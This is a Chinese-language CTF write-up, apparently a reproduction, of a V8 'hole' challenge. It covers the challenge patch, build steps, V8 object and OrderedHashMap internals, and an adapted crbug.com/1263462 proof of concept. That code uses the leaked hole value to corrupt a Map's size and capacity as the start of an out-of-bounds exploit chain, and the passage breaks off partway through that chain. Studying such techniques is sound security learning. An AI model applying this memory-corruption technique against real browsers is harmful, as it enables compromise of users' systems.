hole 复现
1 2 3 4 5 There' s a hole in the program ? Well I' m sure it' s not that of a big deal, after all it' s just a small hole that won' t do any damage right ? ... Right 😨 ?
1 2 3 4 5 6 7 8 9 ➜ hole cat README.txt * Based on git commit hash: 63 cb7fb817e60e5633fb622baf18c59da7a0a682 * args.gn: dcheck_always_on = false is_debug = false target_cpu = "x64" v8_enable_sandbox = true * It is recommended that you solve this challenge on a Debian Linux 11.5 .0 machine.%
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 @@ -395,6 +395,12 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); } +BUILTIN(ArrayHole){ + uint32_t len = args.length(); + if(len > 1) return ReadOnlyRoots(isolate).undefined_value(); + return ReadOnlyRoots(isolate).the_hole_value(); +} + namespace { V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate, @@ -1763,7 +1763,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) { "Map.prototype.delete"); // This check breaks a known exploitation technique. See crbug.com/1263462 - CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant())); + //CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant())); const TNode<OrderedHashMap> table = LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset); @@ -413,6 +413,7 @@ namespace internal { TFJ(ArrayPrototypeFlat, kDontAdaptArgumentsSentinel) \ /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, kDontAdaptArgumentsSentinel) \ + CPP(ArrayHole) \ \ /* ArrayBuffer */ \ /* ES #sec-arraybuffer-constructor */ \ @@ -1722,6 +1722,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger; + case Builtin::kArrayHole: + return Type::Oddball(); // ArrayBuffer functions. case Builtin::kArrayBufferIsView: @@ -1800,6 +1800,7 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtin::kArrayPrototypeFindIndex, 1, false); SimpleInstallFunction(isolate_, proto, "lastIndexOf", Builtin::kArrayPrototypeLastIndexOf, 1, false); + SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false); SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop, 0, false); SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,
注册了目标方法,并且给出了一个网页 crbug.com/1263462
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 @@ -734,6 +734,7 @@ char* Shell::ReadCharsFromTcpPort(const char* name, int* size_out) { } void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) { +/* if (options.enable_os_system) { os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System)); } @@ -748,6 +749,7 @@ void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) { FunctionTemplate::New(isolate, MakeDirectory)); os_templ->Set(isolate, "rmdir", FunctionTemplate::New(isolate, RemoveDirectory)); +*/ } } // namespace v8 @@ -3266,6 +3266,7 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {} Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); + /* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", @@ -3284,6 +3285,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load", FunctionTemplate::New(isolate, ExecuteFile)); + */ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would @@ -3456,6 +3458,7 @@ Local<FunctionTemplate> Shell::CreateSnapshotTemplate(Isolate* isolate) { } Local<ObjectTemplate> Shell::CreateD8Template(Isolate* isolate) { Local<ObjectTemplate> d8_template = ObjectTemplate::New(isolate); + /* { Local<ObjectTemplate> file_template = ObjectTemplate::New(isolate); file_template->Set(isolate, "read", @@ -3538,6 +3541,7 @@ Local<ObjectTemplate> Shell::CreateD8Template(Isolate* isolate) { Local<Signature>(), 1)); d8_template->Set(isolate, "serializer", serializer_template); } + */ return d8_template; }
环境搭建
1 2 3 4 5 fetch v8 cd v8 ./build/install-build-deps.sh git checkout 63cb7fb817e60e5633fb622baf18c59da7a0a682 git apply add_hole.patch
在 v8 引擎的6.5版本以上,google 采用了 GN+Ninja
的编译组合,因此需要以下工具来安装依赖:
安装 depot_tools 工具集:
1 git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
然后将 depot_tools
加入你的 PATH
环境变量中(其实也可以不添加)
1 2 3 sudo gedit /etc/profile.d/yhellow.sh --------------------------------------- export PATH="$PATH:/home/yhellow/tools/depot_tools"
取得 depot_tools
之后,需要取得大量编译依赖,google 提供了一个比较方便的工具 gclient
来获取依赖
然后在 V8 的目录中执行以下代码安装依赖:(注意:V8 的路径不能有中文)
1 2 3 4 export PATH="$PATH:/home/yhellow/tools/depot_tools" gclient config https://webrtc.googlesource.com/src.git # 最好加上这个,不然会很慢 export DEPOT_TOOLS_UPDATE=0 gclient sync
初始化以及编译:
v8 使用 Ninja
作为编译工具,同时使用 GN
来生成 .ninja
文件
使用 v8gen
可以生成不同平台的编译配置文件:
1 ./tools/dev/v8gen.py x64.release
在 out.gn/x64.release/args.gn
中添加如下命令:(增添调试信息)
1 2 symbol_level = 2 v8_enable_object_print = true
使用 ninja
开始编译:
1 ninja -C ./out.gn/x64.release d8
可以用 find
命令来查找可执行文件的位置:
1 ➜ v8 git:(63cb7fb817) ✗ find ./ -name d8 -type f
另外,V8还给 GDB 提供了一些工具,可以把以下这行命令添加到 GDB 的 .gdbinit
中:
1 source /home/yhellow/tools/v8/v8/tools/gdbinit
参考:如何用GN编译V8引擎
patch 分析
第2个 patch 就是注释了源码的一些功能(暂时不用管)
第1个 patch 应该就是漏洞利用的关键了:
1 2 case Builtin::kArrayHole: return Type::Oddball();
这里规定 Builtin::kArrayHole
返回一个 Oddball
引用类型
oddball
是数据类型的引用,表示在 V8 中怎么调用相关类型(null undefined true false
合称为 oddball
)
1 SimpleInstallFunction(isolate_, proto, "hole" , Builtin::kArrayHole, 0 , false );
SimpleInstallFunction
每执行一次就安装一个 API 到 isolate_
中
这里相当于把符号 “hole” 和函数 Builtin::kArrayHole
绑定到一起了
在 patch 中注释了一个 CSA_CHECK
CodeStubAssembler,V8 的一个组件,该组件定义了一种在 TurboFan 后端构建的可移植汇编语言
1 2 3 4 5 BUILTIN(ArrayHole){ uint32_t len = args.length(); if (len > 1 ) return ReadOnlyRoots(isolate).undefined_value(); return ReadOnlyRoots(isolate).the_hole_value(); }
为 Array
定义了一个 Hole
方法,获取 Hole
方法的参数
当参数个数大于“1”时,返回 undefined_value
未知类型
当参数个数不大于“1”时,返回 Type::Oddball()
引用类型
Built-in Functions(Builtin)作为V8的内建功能,实现了很多重要功能
Builtin 是编译好的内置代码块(chunk),存储在 snapshot_blob.bin
文件中,V8 启动时以反序列化方式加载,运行时可以直接调用
简单来说,Hole
方法就是返回一个 Oddball
引用:
1 2 3 4 var c = [];console .log(typeof (c))console .log(typeof (c.hole()))
1 2 3 ➜ hole ./d8 ./exp .js object undefined
先学习这篇文章,了解 V8 的相关知识和常用利用手段:
标记指针 Tagged Pointer
Tagged Pointer 是一个指针(内存地址),它具有与其关联的附加数据:
大多数体系结构都是字节可寻址的(最小的可寻址单元是字节),但是某些类型的数据通常会与数据的大小对齐,这种差异使指针的一些最低有效位未被使用,它们可以用于标签-通常用作位字段(每个位是一个单独的标签),只要使用该指针的代码在访问前将这些位屏蔽掉即可
相反,在某些操作系统中,虚拟地址的宽度比整个体系结构的宽度窄,从而使最高有效位可用于标签(注意,某些处理器特别禁止在处理器级别使用此类标记指针,尤其是 x86-64,这要求操作系统使用规范形式的地址,且最高有效位全为0或全为1)
JS 对象内存信息布局
可以直接使用 GDB 来查看内存布局:
1 2 3 4 5 6 7 8 9 pwndbg> set args --allow-natives-syntax --shell ./exp .js pwndbg> run Starting program: /home/yhellow/tools/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . [New Thread 0x7f16e408e700 (LWP 6736 )] [New Thread 0x7f16e388d700 (LWP 6737 )] [New Thread 0x7f16e308c700 (LWP 6738 )] V8 version 11.0 .0 (candidate)
1 2 3 4 5 6 7 8 9 10 function Foo (properties, elements ) { for (let i = 0 ; i < elements; i++) {this [i] = `element${i} ` } for (let i = 0 ; i < properties; i++) {this [`property${i} ` ] = `property${i} ` } } const foo = new Foo(12 , 12 )for (const key in foo) { console .log(`key:${key} , value:${foo[key]} ` ) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 d8> function Foo (properties, elements) {for (let i = 0 ; i < elements; i++) {this [i] = `element${i}`}for (let i = 0 ; i < properties; i++) {this [`property${i}`] = `property${i}`}} undefined d8> const foo = new Foo(12 , 12 ) undefined d8> %DebugPrint(foo); DebugPrint: 0x1dfe0004d74d : [JS_OBJECT_TYPE] - map : 0x1dfe0019b715 <Map[52 ](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1dfe0004d6c9 <Object map = 0x1dfe0019b5e5 > - elements: 0x1dfe0004d795 <FixedArray[17 ]> [HOLEY_ELEMENTS] - properties: 0x1dfe0004de81 <PropertyArray[3 ]> - All own properties (excluding elements): { 0x1dfe0019b30d : [String] in OldSpace: #property0: 0x1dfe0004d8dd <String[9 ]: "property0" > (const data field 0 ), location: in-object 0x1dfe0019b371 : [String] in OldSpace: #property1: 0x1dfe0004d945 <String[9 ]: "property1" > (const data field 1 ), location: in-object 0x1dfe0019b3b1 : [String] in OldSpace: #property2: 0x1dfe0004d99d <String[9 ]: "property2" > (const data field 2 ), location: in-object 0x1dfe0019b3f1 : [String] in OldSpace: #property3: 0x1dfe0004da01 <String[9 ]: "property3" > (const data field 3 ), location: in-object 0x1dfe0019b431 : [String] in OldSpace: #property4: 0x1dfe0004da71 <String[9 ]: "property4" > (const data field 4 ), location: in-object 0x1dfe0019b471 : [String] in OldSpace: #property5: 0x1dfe0004daed <String[9 ]: "property5" > (const data field 5 ), location: in-object 0x1dfe0019b4b1 : [String] in OldSpace: #property6: 0x1dfe0004db75 <String[9 ]: "property6" > (const data field 6 ), location: in-object 0x1dfe0019b5cd : [String] in OldSpace: #property7: 0x1dfe0004dc09 <String[9 ]: "property7" > (const data field 7 ), location: in-object 0x1dfe0019b63d : [String] in OldSpace: #property8: 0x1dfe0004dce1 <String[9 ]: "property8" > (const data field 8 ), location: in-object 0x1dfe0019b67d : [String] in OldSpace: #property9: 0x1dfe0004dd99 <String[9 ]: "property9" > (const data field 9 ), location: in-object 0x1dfe0019b6bd : [String] in OldSpace: #property10: 0x1dfe0004ddc9 <String[10 ]: "property10" > (const data field 10 ), location: properties[0 ] 0x1dfe0019b6fd : [String] in OldSpace: #property11: 0x1dfe0004dead <String[10 ]: "property11" > (const data field 11 ), location: properties[1 ] } - elements: 0x1dfe0004d795 <FixedArray[17 ]> { 0 : 0x1dfe0004d781 <String[8 ]: "element0" > 1 : 0x1dfe0004d7e1 <String[8 ]: "element1" > 2 : 0x1dfe0004d7f5 <String[8 ]: "element2" > 3 : 0x1dfe0004d809 <String[8 ]: "element3" > 4 : 0x1dfe0004d81d <String[8 ]: "element4" > 5 : 0x1dfe0004d831 <String[8 ]: "element5" > 6 : 0x1dfe0004d845 <String[8 ]: "element6" > 7 : 0x1dfe0004d859 <String[8 ]: "element7" > 8 : 0x1dfe0004d86d <String[8 ]: "element8" > 9 : 0x1dfe0004d881 <String[8 ]: "element9" > 10 : 0x1dfe0004d895 <String[9 ]: "element10" > 11 : 0x1dfe0004d8ad <String[9 ]: "element11" > 12 -16 : 0x1dfe00002459 <the_hole> } 0x1dfe0019b715 : [Map] in OldSpace - type: JS_OBJECT_TYPE - instance size: 52 - inobject properties: 10 - elements kind: HOLEY_ELEMENTS - unused property fields: 1 - enum length: invalid - stable_map - back pointer: 0x1dfe0019b6d5 <Map[52 ](HOLEY_ELEMENTS)> - prototype_validity cell: 0x1dfe0019b635 <Cell value= 0 > - instance descriptors (own) #12 : 0x1dfe0004dde1 <DescriptorArray[12 ]> - prototype: 0x1dfe0004d6c9 <Object map = 0x1dfe0019b5e5 > - constructor: 0x1dfe0019a005 <JSFunction Foo (sfi = 0x1dfe00199f45 )> - dependent code: 0x1dfe000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 6 {0 : "element0" , 1 : "element1" , 2 : "element2" , 3 : "element3" , 4 : "element4" , 5 : "element5" , 6 : "element6" , 7 : "element7" , 8 : "element8" , 9 : "element9" , 10 : "element10" , 11 : "element11" , property0: "property0" , property1: "property1" , property2: "property2" , property3: "property3" , property4: "property4" , property5: "property5" , property6: "property6" , property7: "property7" , property8: "property8" , property9: "property9" , property10: "property10" , property11: "property11" }
先打印对象 JS_OBJECT_TYPE
的信息:
1 2 pwndbg> x/4 xw 0x1dfe0004d74d -1 0x1dfe0004d74c : 0x0019b715 0x0004de81 0x0004d795 0x0004d8dd
前3个数据分别为 map properties elements
的地址低4字节
注意:
V8 使用了标记指针,因此在打印前需要先把指针还原
V8 使用了指针压缩的技术,仅在内存中存储指针的下部32位,并将基本高32位存储在特定寄存器中
指针 properties
和 elements
与 V8 的两种属性有关:
1 2 3 4 function Foo (properties, elements) { for (let i = 0 ; i < elements; i++) {this [i] = `element${i}`} for (let i = 0 ; i < properties; i++) {this [`property${i}`] = `property${i}`} }
第一个 for 循环定义了 elements
个数组索引属性(Array-indexed Properties)
第二个 for 循环定义了 properties
个命名属性(Named Properties)
V8 遍历时一般会先遍历前者,前后两者在底层存储在两个单独的数据结构中,分别用 elements
和 properties
两个指针指向它们
PS:V8 有一种策略,如果命名属性少于等于10个时,命名属性会直接存储到对象本身,而无需先通过 properties 指针查询(直接存储到对象本身的属性被称为对象内属性 In-object Properties)
1 2 3 pwndbg> x/8 xw 0x1dfe0004d795 -1 0x1dfe0004d794 : 0x00002231 0x00000022 0x0004d781 0x0004d7e1 0x1dfe0004d7a4 : 0x0004d7f5 0x0004d809 0x0004d81d 0x0004d831
从第3个指针开始,就是:[element0
:element11
]
1 2 3 pwndbg> x/8 xw 0x1dfe0004de81 -1 0x1dfe0004de80 : 0x00002d19 0x00000006 0x0004ddc9 0x0004dead 0x1dfe0004de90 : 0x000023e1 0x00002715 0xd12b3982 0x0000000a
从第3个指针开始,就是:[property10
:property11
](前10个都是对象内属性)
对象的映射 map
是一种特殊的属性,其中包含以下信息:
对象的动态类型,即 String Uint8Array HeapNumber ...
对象的大小(以字节为单位)
对象的属性及其存储位置
数组元素的类型,例如未装箱的双精度或标记的指针
对象的原型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x1dfe0019b715 : [Map] in OldSpace - type: JS_OBJECT_TYPE - instance size: 52 - inobject properties: 10 - elements kind: HOLEY_ELEMENTS - unused property fields: 1 - enum length : invalid - stable_map - back pointer: 0x1dfe0019b6d5 <Map[52 ](HOLEY_ELEMENTS)> - prototype_validity cell: 0x1dfe0019b635 <Cell value= 0 > - instance descriptors (own) #12 : 0x1dfe0004dde1 <DescriptorArray[12 ]> - prototype: 0x1dfe0004d6c9 <Object map = 0x1dfe0019b5e5 > - constructor: 0x1dfe0019a005 <JSFunction Foo (sfi = 0x1dfe00199f45 )> - dependent code: 0x1dfe000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 6
本质上,映射定义了应如何访问对象:
对于对象数组:存储的是每个对象的地址
对于浮点数组:以浮点数形式存储数值
如果我们可以修改 Map
中某些变量的数据类型,就可以达到类型混淆的效果
JavaScript Map 对象原理
先随便打印一个 Map
的内存信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 d8> %DebugPrint(m) DebugPrint: 0x21100004b9d1 : [JSMap] - map : 0x2110001862f1 <Map[16 ](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x211000186431 <Object map = 0x211000186319 > - elements: 0x211000002259 <FixedArray[0 ]> [HOLEY_ELEMENTS] - table: 0x21100004b9e1 <OrderedHashMap[17 ]> - properties: 0x211000002259 <FixedArray[0 ]> - All own properties (excluding elements): {} 0x2110001862f1 : [Map] in OldSpace - type: JS_MAP_TYPE - instance size: 16 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x2110000023e1 <undefined> - prototype_validity cell: 0x2110001443cd <Cell value= 1 > - instance descriptors (own) #0 : 0x2110000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)> - prototype: 0x211000186431 <Object map = 0x211000186319 > - constructor: 0x2110001862bd <JSFunction Map (sfi = 0x2110001557b9 )> - dependent code: 0x2110000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0 [object Map]
和对象 JS_OBJECT_TYPE 相比,JSMap 多了一个 table
属性,这个属性是一个 OrderedHashMap 顺序哈希表
Map
是基于哈希表实现的,但哈希表不提供任何迭代顺序保证,而 ES6 规范要求实现在迭代 Map
时保持插入顺序,因此,“经典”算法不适合 Map
V8 使用了确定性哈希表算法(顺序哈希表),以下显示了此算法使用的主要数据结构:
1 2 3 4 5 6 7 8 9 10 11 12 interface Entry { key: any; value: any; chain: number; } interface CloseTable { hashTable: number[]; dataTable: Entry[]; nextSlot: number; size: number; }
CloseTable 接口代表了哈希表,包含:
hashTable:哈希表数组(大小等于“存储桶”的数量)
dataTable:包含按插入顺序排列的条目
Entry 接口代表“存储桶”
key/value:键值对
chain:链属性(指向存储 Entry 的下一个条目)
nextSlot:用于索引到 dataTable 中
具体的操作如下:
每次将新条目插入表中时,它都会存储在 nextSlot 索引下的 dataTable 数组中(插入的条目将成为新的尾部)
当一个条目从哈希表 hashTable 中删除时,它也会从数据表 dataTable 中删除,但已删除的条目仍会占用数据表中的空间(用 hole 进行填充)
当一个表充满了条目(包括存在的和已删除的)时,需要用更大(或更小)的大小重新散列(重建)
使用这种方法,对 Map
进行迭代只需遍历数据表即可,这保证了迭代的插入顺序要求
测试案例:
1 2 3 4 map = new Map (); map.set(1 , 'a' ); map.set(2 , 'b' ); map.delete(1 );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 map .set (1 , 'a' );map .set (2 , 'b' );--------------------------------------- pwndbg> job 0x1d830004b9d9 0x1d830004b9d9 : [OrderedHashMap] - FixedArray length: 17 - elements: 2 - deleted: 0 - buckets: 2 - capacity: 4 - buckets: { 0 : 0 1 : 1 } - elements: { 0 : 1 -> 0x1d830000407d <String[1 ]: #a> 1 : 2 -> 0x1d830000408d <String[1 ]: #b> }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 map .delete (1 );--------------------------------------- pwndbg> job 0x1d830004b9d9 0x1d830004b9d9 : [OrderedHashMap] - FixedArray length: 17 - elements: 1 - deleted: 1 - buckets: 2 - capacity: 4 - buckets: { 0 : 0 1 : 1 } - elements: { 1 : 2 -> 0x1d830000408d <String[1 ]: #b> }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 d8> %DebugPrint(map ); DebugPrint: 0x1d830004b9c9 : [JSMap] - map : 0x1d83001862f1 <Map[16 ](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1d8300186431 <Object map = 0x1d8300186319 > - elements: 0x1d8300002259 <FixedArray[0 ]> [HOLEY_ELEMENTS] - table: 0x1d830004b9d9 <OrderedHashMap[17 ]> - properties: 0x1d8300002259 <FixedArray[0 ]> - All own properties (excluding elements): {} 0x1d83001862f1 : [Map] in OldSpace - type: JS_MAP_TYPE - instance size: 16 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x1d83000023e1 <undefined> - prototype_validity cell: 0x1d83001443cd <Cell value= 1 > - instance descriptors (own) #0 : 0x1d83000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)> - prototype: 0x1d8300186431 <Object map = 0x1d8300186319 > - constructor: 0x1d83001862bd <JSFunction Map (sfi = 0x1d83001557b9 )> - dependent code: 0x1d83000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0 [object Map]
1 2 3 4 5 6 7 8 9 10 pwndbg> x/20 xw 0x1d830004b9d9 -1 0x1d830004b9d8 : 0x00002c29 0x00000022 0x00000002 0x00000002 0x1d830004b9e8 : 0x00000004 0x00000000 0x00000002 0x00002459 0x1d830004b9f8 : 0x00002459 0xfffffffe 0x00000004 0x0000408d 0x1d830004ba08 : 0xfffffffe 0x000023e1 0x000023e1 0x000023e1 0x1d830004ba18 : 0x000023e1 0x000023e1 0x000023e1 0x000025d5 pwndbg> job 0x00002459 +0x1d8300000000 0x1d8300002459 : [Oddball] in ReadOnlySpace: #hole pwndbg> job 0x000023e1 +0x1d8300000000 0x1d83000023e1 : [Oddball] in ReadOnlySpace: #undefined
整数在 V8 中表示为前31位,最后一位不使用(这就是“0x1”表示为“0x2”,“0xfffffffe”表示“-1”的原因)
hole 在本程序中用 0x00002459
表示
undefined 在本程序中用 0x000023e1
表示
记录 OrderedHashMap 的一些重要元数据的粗略布局:
1 2 3 4 5 6 7 8 9 table + 0x10 => Map capacity (0x4 ) table + 0x14 => Bucket-0 data table + 0x18 => Bucket-1 data table + 0x1c => Entry-0 key (0x00002459 ) table + 0x20 => Entry-0 value (0x00002459 ) table + 0x24 => Entry-0 next_ptr table + 0x28 => Entry-1 key (0x00000004 ) table + 0x2c => Entry-1 value (0x0000408d ) table + 0x30 => Entry-1 next_ptr
先预留 0x4 * capacity/2
的空间用于填充 Bucket data(存储桶数据)
之后的空间会以 0x4 * 3
为单位来储存各个 Entry
信息
被 delete
方法删除的区域需要用 hole 填充
而之后的空间则被 undefined 填充
JavaScript SandBox & JIT
对于 JavaScript 来说,沙箱并非传统意义上的沙箱,它只是一种语法上的 Hack 写法,沙箱是一种安全机制,把一些不信任的代码运行在沙箱之内,使其不能访问沙箱之外的代码
当需要解析或者执行不可信的 JavaScript 代码时,需要隔离被执行代码的执行环境,并对执行代码中可访问对象进行限制,通常开始可以把 JavaScript 中处理模块依赖关系的闭包称之为沙箱
我们大致可以把沙箱的实现总体分为两个部分:
一个重要的保护是,它将所有外部指针转换为查找表的索引,例如指向 Web 程序集 RWX 页的指针和 ArrayBuffer 后备存储的指针,因此,我们不能使用普通方法来实现任意读写
而 JavaScript JIT(Just-In-Time)则是另一种机制:
JIT compiler 混合了编译器和解释器的优点,大幅提高了 JavaScript 的运行速度:
一开始只是简单的使用解释器执行,当某一行代码被执行了几次,这行代码会被打上 Warm 的标签,当某一行代码被执行了很多次,这行代码会被打上 Hot 的标签
被打上 Warm 标签的代码会被传给 Baseline Compiler 编译且储存,同时按照行数和变量类型被索引
被打上 Hot 标签的代码会被传给 Optimizing compiler,这里会对这部分带码做更优化的编译
当发现执行的代码命中索引,会直接取出编译后的代码执行,从而不需要重复编译已经编译过的代码
利用 JIT 机制就可以绕过 SandBox
学习相关 POC
在 path 中给出了一篇文章 crbug.com/1263462
先学习它
这篇文章大概讲述了 V8 对 TheHole 的特殊处理(具体怎么处理的暂时不清楚),利用这个特性,可以对 Map
进行破坏
POC 如下:
1 2 3 4 5 6 7 8 var map = new Map ();map.set(1 , 1 ); map.set(hole, 1 ); map.delete(hole); map.delete(hole); map.delete(1 );
先查看这个 hole 和题目中的 hole 方法有什么关系:
1 2 3 4 void Isolate::clear_pending_exception () { DCHECK(!thread_local_top()->pending_exception_.IsException(this )); thread_local_top()->pending_exception_ = ReadOnlyRoots(this ).the_hole_value(); }
the_hole_value
在本题的 path 中也出现过
1 2 %DebugPrint(hole); DebugPrint: 0x37c70800242d : [Oddball] in ReadOnlySpace: #hole
使用 DebugPrint
可以发现 hole 是 Oddball
引用类型
具体的细节暂时不用管,我们只需要知道这个 POC 可以破坏 Map
就行了
入侵思路
先依葫芦画瓢把 POC 中的利用复刻一份:
1 2 3 4 5 6 7 8 var c = [];m = new Map (); m.set(1 , 1 ); m.set(c.hole(), 1 ); m.delete(c.hole()); m.delete(c.hole()); m.delete(1 ); print(map.size);
1 2 ➜ x64.release git:(63 cb7fb817) ✗ ./d8 ./exp .js -1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 d8> %DebugPrint(m); DebugPrint: 0x14080004ba05 : [JSMap] - map : 0x1408001862f1 <Map[16 ](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x140800186431 <Object map = 0x140800186319 > - elements: 0x140800002259 <FixedArray[0 ]> [HOLEY_ELEMENTS] - table: 0x14080004baad <OrderedHashMap[17 ]> - properties: 0x140800002259 <FixedArray[0 ]> - All own properties (excluding elements): {} 0x1408001862f1 : [Map] in OldSpace - type: JS_MAP_TYPE - instance size: 16 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x1408000023e1 <undefined> - prototype_validity cell: 0x1408001443cd <Cell value= 1 > - instance descriptors (own) #0 : 0x1408000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)> - prototype: 0x140800186431 <Object map = 0x140800186319 > - constructor: 0x1408001862bd <JSFunction Map (sfi = 0x1408001557b9 )> - dependent code: 0x1408000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0 [object Map]
打印对应的 table
:(此时 Map
已经被破坏,在 Map.size == -1
的情况下,不能使用 job
命令)
1 2 3 4 5 6 pwndbg> x/20 xw 0x14080004baad -1 0x14080004baac : 0x00002c29 0x00000022 0xfffffffe 0x00000000 0x14080004babc : 0x00000004 0xfffffffe 0xfffffffe 0x000023e1 0x14080004bacc : 0x000023e1 0x000023e1 0x000023e1 0x000023e1 0x14080004badc : 0x000023e1 0x000023e1 0x000023e1 0x000023e1 0x14080004baec : 0x000023e1 0x000023e1 0x000023e1 0x000025d5
先执行一次 m.set(0x8,-1)
后再次打印 table
:(现在可以使用 job
命令)
1 2 3 4 5 6 pwndbg> x/20 xw 0x14080004baad -1 0x14080004baac : 0x00002c29 0x00000022 0x00000000 0x00000000 0x14080004babc : 0x00000010 0xfffffffe 0xfffffffe 0x000023e1 0x14080004bacc : 0x000023e1 0x000023e1 0x000023e1 0x000023e1 0x14080004badc : 0x000023e1 0x000023e1 0x000023e1 0x000023e1 0x14080004baec : 0x000023e1 0x000023e1 0x000023e1 0x000025d5
新写入的 0x10
(JS num:8) 覆盖了 table + 0x10
的位置(Bucket data[-1]),而上面提到这个位置就是 Map capacity
正因为如此,存储桶被扩展了,元素 Entry 的位置也会改变(其实这里并不是 Entry 的位置发生了改变,而是 V8 为了预留 Bucket data 的空间,而认为 Entry 的位置向后进行了移动)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> job 0x14080004baad 0x14080004baad : [OrderedHashMap] - FixedArray length: 17 - elements: 0 - deleted: 0 - buckets: 8 - capacity: 16 - buckets: { 0 : -1 1 : -1 2 : 0x1408000023e1 <undefined> 3 : 0x1408000023e1 <undefined> 4 : 0x1408000023e1 <undefined> 5 : 0x1408000023e1 <undefined> 6 : 0x1408000023e1 <undefined> 7 : 0x1408000023e1 <undefined> } - elements: { }
因此修改 POC 为:
1 2 3 4 5 6 7 8 var c = [];m = new Map (); m.set(1 , 1 ); m.set(c.hole(), 1 ); m.delete(c.hole()); m.delete(c.hole()); m.delete(1 ); oob_arr = new Array (1.1 , 2.2 );
打印 JSMap 和 JSArray 对象的内存信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 d8> %DebugPrint(m) DebugPrint: 0x233e0004ba25 : [JSMap] - map : 0x233e001862f1 <Map[16 ](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x233e00186431 <Object map = 0x233e00186319 > - elements: 0x233e00002259 <FixedArray[0 ]> [HOLEY_ELEMENTS] - table: 0x233e0004bacd <OrderedHashMap[17 ]> - properties: 0x233e00002259 <FixedArray[0 ]> - All own properties (excluding elements): {} ...... d8> %DebugPrint(oob_arr) DebugPrint: 0x233e0004bb19 : [JSArray] - map : 0x233e0018e6bd <Map[16 ](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x233e0018e11d <JSArray[0 ]> - elements: 0x233e0004bb29 <FixedDoubleArray[2 ]> [PACKED_DOUBLE_ELEMENTS] - length: 2 - properties: 0x233e00002259 <FixedArray[0 ]> - All own properties (excluding elements): { 0x233e00006551 : [String] in ReadOnlySpace: #length: 0x233e00144255 <AccessorInfo name= 0x233e00006551 <String[6]: #length> , data= 0x233e000023e1 <undefined> > (const accessor descriptor), location: descriptor } - elements: 0x233e0004bb29 <FixedDoubleArray[2 ]> { 0 : 1.1 1 : 2.2 } ......
oob_arr
